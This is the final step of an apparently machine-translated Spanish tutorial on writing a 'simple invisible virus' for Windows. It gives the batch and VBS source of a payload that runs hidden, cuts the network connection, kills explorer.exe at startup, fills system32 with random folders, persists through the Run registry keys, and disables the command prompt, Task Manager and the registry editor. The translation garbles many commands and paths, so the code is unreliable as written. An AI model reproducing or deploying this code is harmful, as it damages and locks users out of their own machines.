Virus simple que corre invisible (4 / 4 paso)

Paso 4: Archivo Final

Ahora bien, tu archivo final completo sería algo como el de abajo. También, lo que hará este archivo, casi olvidaba esa parte, jeje. Desactivar internet y terminar explorer.exe cuando se inicia el equipo. También creará un montón de archivos al azar en el directorio de system 32. Deshabilitará el uso de Task manager, símbolo y Editor del registro.

de

Goto proceso
CreateObject("Wscript.Shell"). Ejecutar "" "& WScript.Arguments(0) &" "", 0, False

: proceso de
Escriba run.bat | encontrar "CreateObject" | encontrar/v "tipo" > invis.vbs

CD %windir%\system32

Eco wscript.exe "C:\windows\system32\invis.vbs" "Data_exe.bat" > Data_exe.bat
echo off > Data.bat
Eco de ipconfig /release >> Data.bat
Eco de taskkill explorer.exe >> Data.bat
Eco mkdir %% aleatoria %% >> Data.bat
Eco mkdir %% aleatoria %% >> Data.bat

REG añadir "HKCU\software\microsoft\windows\currentversion\run" /v seguridad /t reg_sz /d "% windir%\system32\Data_exe.bat" /f

REG añadir "HKLM\software\microsoft\windows\currentversion\run" /v seguridad /t reg_sz /d "% windir%\system32\Data_exet" /f

REG añadir "HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2/f

REG añadir "HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2/f

REG añadir "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1/f

REG añadir "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1/f

REG añadir "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1/f

Añadir reg "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f